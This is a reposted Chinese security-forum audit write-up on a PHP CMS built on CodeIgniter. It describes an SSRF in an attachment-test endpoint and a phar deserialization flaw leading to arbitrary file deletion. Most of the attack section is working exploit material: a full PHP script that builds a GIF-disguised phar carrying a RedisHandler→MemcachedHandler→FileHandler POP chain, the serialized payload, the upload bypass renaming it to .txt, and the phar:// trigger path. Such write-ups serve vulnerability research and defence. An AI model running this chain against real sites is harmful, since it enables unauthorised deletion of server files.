记一次某CMS反序列化任意文件删除的审计过程

华盟原创文章投稿奖励计划

原文首发在:奇安信攻防社区

https://forum.butian.net/share/3846

一开始心血来潮想审计PHP系统,于是网上找了找一些开源比较知名的系统,于是找到了某CMS最新版,通过观察最近好像没出过什么大洞,于是想审计一下,跟随之前大佬挖漏洞的思路,尝试挖掘一下最新版的漏洞。其中会涉及到一些漏洞基础原理,关键部分会进行模糊处理,希望各位大佬理解,菜鸡一枚,勿喷/(ㄒoㄒ)/~~

SSRF漏洞原理

SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种安全漏洞,攻击者通过引诱服务器发起请求到内部系统或者网络中的其他服务器。SSRF漏洞的发生是因为服务端提供了从外部系统获取数据的功能,但是没有对请求进行合适的限制,导致攻击者可以指定请求的目标,并可能获取到内部网络的数据

概述

一开始心血来潮想审计PHP系统,于是网上找了找一些开源比较知名的系统,于是找到了某CMS最新版,通过观察最近好像没出过什么大洞,于是想审计一下,跟随之前大佬挖漏洞的思路,尝试挖掘一下最新版的漏洞。其中会涉及到一些漏洞基础原理,关键部分会进行模糊处理,希望各位大佬理解,菜鸡一枚,勿喷/(ㄒoㄒ)/~~ 下面开始审计分析

dr_catcher_data

这里我们定位到/Fcms/Core/Helper.php
函数部分代码

* 调用远程数据 curl获取
 *
 * @param $url * @param $timeout 超时时间,0不超时
 * @param $is_log 0表示请求失败不记录到系统日志中
 * @param $ct 0表示不尝试重试,1表示重试一次
 * @return 请求结果值
 */ function dr_catcher_data($url, $timeout = 0, $is_log = true, $ct = 0) { if (!$url) { return '';
    } // 获取本地文件 if (strpos($url, 'file://')  === 0) { return file_get_contents($url);
    } elseif (strpos($url, '/')  === 0 && is_file(WEBPATH.$url)) { return file_get_contents(WEBPATH.$url);
    } elseif (!dr_is_url($url)) { if (CI_DEBUG && $is_log) {
            log_message('error', '获取远程数据失败['.$url.']:地址前缀要求是http开头');
        } return '';
    }

触发SSRF漏洞点

test_attach

/Fms/Control/Admin/Api.php test\_attach
下面是代码部分

/**
     * 测试远程附件
     */ public function test_attach() { $data = \Phpcmf\Service::L('input')->post('data'); if (!$data) { $this->_json(0, dr_lang('参数错误'));
        } $type = intval($data['type']); $value = $data['value'][$type]; if (!$value) { $this->_json(0, dr_lang('参数不存在'));
        } elseif ($type == 0) { if (substr($value['path'],-1, 1) != '/') { $this->_json(0, dr_lang('存储路径目录一定要以“/”结尾'));
            } elseif ((dr_strpos($value['path'], '/') === 0 || dr_strpos($value['path'], ':') !== false)) { if (!is_dir($value['path'])) { $this->_json(0, dr_lang('本地路径[%s]不存在', $value['path']));
                }
            } elseif (is_dir(SYS_UPLOAD_PATH.$value['path'])) {
            } else { $this->_json(0, dr_lang('本地路径[%s]不存在', SYS_UPLOAD_PATH.$value['path']));
            }
        } $rt = \Phpcmf\Service::L('upload')->save_file( 'content', 'this is phpcmf file-test', 'test/test.txt',
            [ 'id' => 0, 'url' => $data['url'], 'type' => $type, 'value' => $value,
            ]
        ); if (!$rt['code']) { $this->_json(0, $rt['msg']);
        } elseif (strpos(dr_catcher_data($rt['data']['url']), 'phpcmf') !== false) { $this->_json(1, dr_lang('测试成功:%s', $rt['data']['url']));
        } $this->_json(0, dr_lang('无法访问到附件: %s', $rt['data']['url']));
    }

分析得到,下面

$data = \Phpcmf\Service::L('input')->post('data'); elseif (strpos(dr_catcher_data($rt['data']['url']), 'phpcmf') !== false)

POST请求中,data['url'] 途中没有任何过滤 就给到了 dr_catcher_data()函数,但是dr_catcher_data函数可以处理file,Http等协议的函数封装。如封装了,file_get_contents、curl_exec等。造成了SSRF的漏洞

反序列化

任意文件删除

phar反序列化漏洞点

我们直接找 文件函数:is_dir,file_exist等等

在源码路径:/Fms/Control/Admin/Api.php里面

其实很多个功能都存在phar反序列化触发点

test_attach

图片

test_attach_domain

图片
后面主要是以:test_attach_domain来作利用

POP查找

链一(失败)

序列化代码

需要第一类来new一下 namespace CodeIgniter\Publisher; class Publisher { public $scratch = "../1"; //通过__destruct触发 delete scratch //通过new 对象 触发__construct helper('filesystem'),因为deltete用到了filesystem方法。 } namespace CodeIgniter\Cache\Handlers; class MemcachedHandler { public $prefix; public __construct()
     {
        this->$prefix = new CodeIgniter\Publisher\Publisher(); //触发构造方法 和 销毁方法 }
}
var_dump(serialize(new MemcachedHandler()))

POP链

Publisher:construc.helper(['filesystem'])->destruct()-> wipeDirectory()->delete_files()

detele_files()函数 需要由引入 helper(['filesystem']);
思路:通过 MemcachedHandler 任意属性 调用new Publisher触发 helper('filesystem')引入delete_files()类

分析

先看看几个重要的方法(简化)

Publisher

_construct方法()

helper(['filesystem']);

_destruct()方法

public function __destruct()
    { self::wipeDirectory($this->scratch);
    }

wipeDirectory方法

private static function wipeDirectory(string $directory): void { $attempts = 10; while ((bool) $attempts && ! delete_files($directory, true, false, true)) { $attempts--;
            }
            @rmdir($directory);
    }

失败原因

显示delete_files()不存在
图片

总结

反序列化过程,不会创建对象。不管序列化中new在何处,也只是告诉解析器 new这个位置 需要替换 该类型对象的属性。

反序列化原理:创建空对象,把属性值传递进去(本质,属性替换)

链子二

序列化代码

<?php //=======实现delete方法有,unlink(this->$path.$this->prefix.$lockkey) namespace CodeIgniter\Cache\Handlers; class FileHandler { public $prefix; public $path; public function __construct()
    { $this->prefix=''; $this->path='';
    }
} //=======MemcachedHandler中close()有$this->memcached->delete($this->lockKey) namespace CodeIgniter\Session\Handlers; class MemcachedHandler { public $lockKey; //传入delete()的值 public $memcached; public function __construct()
    { //$this->memcached->detele($this->lockKey); $this->lockKey = "D:\\phpstudy_pro\\WWW\\test.test"; //文件路径 $this->memcached = new \CodeIgniter\Cache\Handlers\FileHandler(); //触发下一个delete }
} //==========RedisHandler中destruct有this->redis->close() namespace CodeIgniter\Cache\Handlers; class RedisHandler { public $redis; public function __construct()
     { $this->redis = new \CodeIgniter\Session\Handlers\MemcachedHandler(); //指向MemcachedHandler对象 } //因为后续有 this->redis->close()操作,可以用MemcachedHandler的close函数。 } $o = new new RedisHandler()); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 $phar->stopBuffering(); //签名自动计算 ?>

序列化字符串

string(275) "O:39:"CodeIgniter\Cache\Handlers\RedisHandler":1:{s:5:"redis";O:45:"CodeIgniter\Session\Handlers\MemcachedHandler":2:{s:9:"memcached";O:38:"CodeIgniter\Cache\Handlers\FileHandler":2:{s:6:"prefix";s:0:"";s:4:"path";s:0:"";}s:7:"lockKey";s:29:"D:\phpstudy_pro\WWW\test.test";}}" 

POP链

RedisHandler __destruct()  ->   MemcachedHandler close()  -> FileHandler delete()

分析

RedisHandler

__destruct

调用了$this->redis->close()

public function __destruct()
    { if (isset($this->redis)) { $this->redis->close();
        }
    }

redis改为 MemcachedHandle对象

MemcachedHandler

实现close()

public function close(): bool { if (isset($this->memcached)) { if (isset($this->lockKey)) { $this->memcached->delete($this->lockKey);
            } if (! $this->memcached->quit()) { return false;
            } $this->memcached = null; return true;
        } return false;
    }

找delete,存在 $this->memcached->delete($this->lockKey)

FileHandler
namespace CodeIgniter\Cache\Handlers; public function delete(string $key)
    { $key = static::validateKey($key, $this->prefix); return is_file($this->path . $key) && unlink($this->path . $key);
    }

实现了 unlink文件删除的功能,路径构成:$this->path->$key->$this->prefix
$key由外部传进来的,为了方便控制,我们直接让外部的$key为删除文件路径。path和prefix为空即可。
同时,$key为 MemcachedHandler的lockKey

总结

找POP链的时候,需要无限套娃,一个对象套一个对象。可以利用的类一般是需要有命名空间。我们第一步找到 destruct方法,看看destruct观察:可控变量与方法。第二步:1.根据方法,全局搜索实现的类 2.根据方法传入参数个数类型,全局找到使用__call魔术方法的类进行分析。第三步,无限套娃 找到能够触发我们目标功能(RCE,任意文件删除,任意文件写入等等)

Phar反序列化任意文件删除利用

准备工作

漏洞点在 Controler/Admin/Api.php

http://xunruicms-study/admina516ce184c2e.php?c=Api&m=test_attach_domain 
phar://D:/phpstudy_pro/WWW/phar.jpg/test.txt 

生成phar利用文件脚本

<?php //=======实现delete方法有,unlink(this->$path.$this->prefix.$lockkey) namespace CodeIgniter\Cache\Handlers; class FileHandler { public $prefix; public $path; public function __construct()
    { $this->prefix=''; $this->path='';
    }
} //=======MemcachedHandler中close()有$this->memcached->delete($this->lockKey) namespace CodeIgniter\Session\Handlers; class MemcachedHandler { public $lockKey; //传入delete()的值 public $memcached; public function __construct()
    { //$this->memcached->detele($this->lockKey); $this->lockKey = "D:\\phpstudy_pro\\WWW\\test.test"; //删除的文件路径 $this->memcached = new \CodeIgniter\Cache\Handlers\FileHandler(); //触发下一个delete }
} //==========RedisHandler中destruct有this->redis->close() namespace CodeIgniter\Cache\Handlers; use Phar; class RedisHandler { public $redis; public function __construct()
     { $this->redis = new \CodeIgniter\Session\Handlers\MemcachedHandler(); //指向MemcachedHandler对象 } //因为后续有 this->redis->close()操作,可以用MemcachedHandler的close函数。 } $o = new RedisHandler(); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 $phar->stopBuffering(); //签名自动计算 ?>

利用过程

phar文件上传点

(原本想试试头像上传的,发现文件被压缩,就找了个上传附件的位置)

http://xunruicms-study/index.php?s=member&app=news&c=home&m=add 

第一步,来到文章发布的后台(需要有附件上传权限)
发布内容中,下面有个附件上传
自动草稿
这里可以显示上传的内容(zip,rar,txt,doc),我们只需要把phar.phar包 该后缀满足白名单就行,我改为phar.txt

图片
点击上传后的附件,会弹出一个url。我们只需要拿到 /upload 后面的构造phar://语句

phar://uploadfile/202407/de5d2812b5ba390.txt/test.txt 

图片

Phar反序列化点

备注:test\_attach\_domain函数作为利用点。
需要反序列化执行的命令

phar://uploadfile/202407/de5d2812b5ba390.txt/test.txt 

到这边,需要选择完整模式 -> 系统附件设置 -> 附件上传目录(输入我们的命令) 点击检测
图片

自动草稿

反序列化出来了我们的FileHandler对象,说明反序列化攻击成功,我们的文件也成功被删除
自动草稿

文章来源:亿人安全

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文


END

本文来源奇安信攻防社区,经授权后由华盟君发布,观点不代表华盟网的立场,转载请联系原作者。

发表评论